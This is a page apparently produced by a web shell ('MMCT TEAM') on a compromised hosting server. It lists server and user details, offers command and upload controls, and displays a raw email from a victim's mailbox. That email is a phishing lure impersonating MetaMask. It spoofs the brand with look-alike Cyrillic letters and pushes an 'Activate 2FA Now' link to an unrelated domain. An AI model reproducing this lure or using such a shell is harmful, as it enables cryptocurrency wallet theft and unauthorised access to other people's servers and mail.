MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0751) :  /home/celkcksm/mail/new/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/mail/new/1748155273.M149147P2117151.orion.herosite.pro,S=4046,W=4129
Return-Path: <postmaster@1ea8bf769d.nxcli.io>
Delivered-To: celkcksm@orion.herosite.pro
Received: from orion.herosite.pro
	by orion.herosite.pro with LMTP
	id XkoWCIm7MmgfTiAAfSdZbQ
	(envelope-from <postmaster@1ea8bf769d.nxcli.io>)
	for <celkcksm@orion.herosite.pro>; Sun, 25 May 2025 12:11:13 +0530
Return-path: <postmaster@1ea8bf769d.nxcli.io>
Envelope-to: contact@bmtrust.org.in
Delivery-date: Sun, 25 May 2025 12:11:13 +0530
Received: from cloudhost-10356610.uk-south-2.nxcli.net ([165.84.217.19]:59732)
	by orion.herosite.pro with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.98.1)
	(envelope-from <postmaster@1ea8bf769d.nxcli.io>)
	id 1uJ52I-00000008s7T-3BwK
	for contact@bmtrust.org.in;
	Sun, 25 May 2025 12:11:13 +0530
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=1ea8bf769d.nxcli.io;
  b=YWERNlzJjsdvcjTWjZy0JCuYD3462uAhMx2wYqvur+Id0D4MKxcV5+g4LfmCZ07eluz71TpjjZ/nlQmb+NAOvx+MUMrxOv8s7cIRj6d3qD4Cqw38TdzjNFa2V5lgkQfIxNqoDX9nS0td70yivLDSj/TJRMEWFZbn8BWGRojw0BogC6JDkltnvo5hJDb/k6gG9R9utQI8BbAMM5RxaVFgPSRVUiN9/un9IcTuy/+1X8eiaR70kwsewOp2D4T0QGZXtZ7bmd9DK+rWueOtFQNzed5DdcTeC0tlLigRWaEFapN/ukcyqPrIGCNSQpvOWitI10UwD8dU5XB8jwjmF28IcA==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=1ea8bf769d.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=Lb0ct1E0+nL0wm1Gin4WINmdydp0P5QCBtM
	Vx4rxg6E=; b=bsNv2UJdLhcLBv0TGbNdlj/CWDc05zqPKqYRYLN87vQMbuue8H/
	WdC14kpAVSdnwKSCr8UF8pGGXBvfERr+y3CIGfTy6OOWI/cr4cheX/Cwdxbv5ES1
	PeTX25SZc6LFb/DQbc5t2m80dxtf/0xWNacD6283jp0907Vj5409fLbDxXNA8hiP
	jfMLpWaxki3Mq4uDeJiY2Tg+zHKGlBBg+qtz6NwT/P+O6uYhxXKvIiQMwv0MI6RU
	Q8NYdB0wRYkqmpLqgwrwWuOji5Hg5BqkZtKmHVTEXqwCHkGcMrguuEwVfKrxno8r
	8PdGT4MiueDQRcNCr56cG8J3dhiNnpYEN+w==
Received: (qmail 5639 invoked by uid 10124); 25 May 2025 06:56:04 +0100
Date: 25 May 2025 06:56:04 +0100
Message-ID: <20250525055604.5625.qmail@cloudhost-10356610.uk-south-2.nxcli.net>
To: contact@bmtrust.org.in
Subject: Suspiciоus behavior detected
X-PHP-Originating-Script: 10124:s.php
From: "MetaMаsk" <3cqgbsd2@rvq.io>
Reply-To: 3cqgbsd2@rvq.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: No, score=
X-Spam-Score: 
X-Spam-Bar: 
X-Ham-Report: 
X-Spam-Flag: NO


<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MetaMаsk Security</title>
</head>
<body style="margin:0;padding:0;background:#f8f9fa;font-family:Arial,sans-serif;color:#222">
  <table width="100%" cellpadding="0" cellspacing="0" style="max-width:600px;margin:40px auto;background:#fff;border:1px solid #ddd;border-radius:8px">
    <tr>
      <td style="padding:20px;text-align:center">
        <img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:10px">
        <h2 style="color:#f6851b;font-size:18px;margin:10px 0 0">MetaMаsk Security Notice</h2>
      </td>
    </tr>
    <tr>
      <td style="padding:20px;font-size:15px;line-height:1.6">
        <p>We've detected suspicious behavior linked to your wallet. To enhance security, we recommend activating Two-Factor Authentication (2FA).</p>
        <p>2FA helps protect your assets even if someone knows your password.</p>
        <div style="text-align:center;margin:26px 0">
          <a href="https://pggy.app/wpz/?id=7587168125669853512-1272" style="background:#f6851b;color:#fff;padding:12px 20px;border-radius:4px;text-decoration:none;font-weight:bold;display:inline-block">Activate 2FA Now</a>
        </div>
        <p>If you did not request this, no action is needed.</p>
      </td>
    </tr>
    <tr>
      <td style="padding:20px;text-align:center;color:#999;font-size:13px">
        © 2025 MetaMаsk. All rights reserved.
      </td>
    </tr>
  </table>
</body>
</html>

MMCT - 2023